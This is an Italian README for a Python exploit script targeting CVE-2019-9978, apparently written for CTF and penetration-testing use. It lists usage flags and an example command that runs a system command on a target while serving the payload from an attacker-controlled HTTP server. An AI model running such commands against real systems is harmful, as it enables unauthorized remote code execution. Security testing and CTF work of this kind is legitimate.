cve-2019-9978

Questo è uno script che permette di sfruttare la vulnerabilità CVE-2019-9978 in modo semplice, pensato per l'uso in sfide Capture The Flag (CTF) o come proof of concept per penetration testing.

Prerequisiti

• Python 3
• Libreria Requests (installare con pip install requests)

Utilizzo

1. Clona o scarica questo repository.
2. Apri un terminale e vai nella directory dello script.
3. Esegui lo script con le seguenti opzioni:

   ./cve-2019-9978.py -u http://target.com:9999 -c "your_system_command" -l your_ip:your_port
   - `-u` o `--url`: Imposta l'URL del target per inviare il payload.
   - `-c` o `--command`: Imposta il comando di sistema da eseguire sul target.
   - `-l` o `--local`: Imposta l'IP e la porta per il server HTTP (opzionale).

4. Lo script avvia un server HTTP, invia il payload al target e mostra il risultato nel terminale.

Esempio

./cve-2019-9978.py -u http://target.com:9999 -c "id" -l 10.10.13.15:12345

Dichiarazione di non responsabilità

Questo codice è solo a scopo educativo e di test. L'uso non autorizzato su sistemi senza la dovuta autorizzazione è illegale e non etico. Usalo in modo responsabile.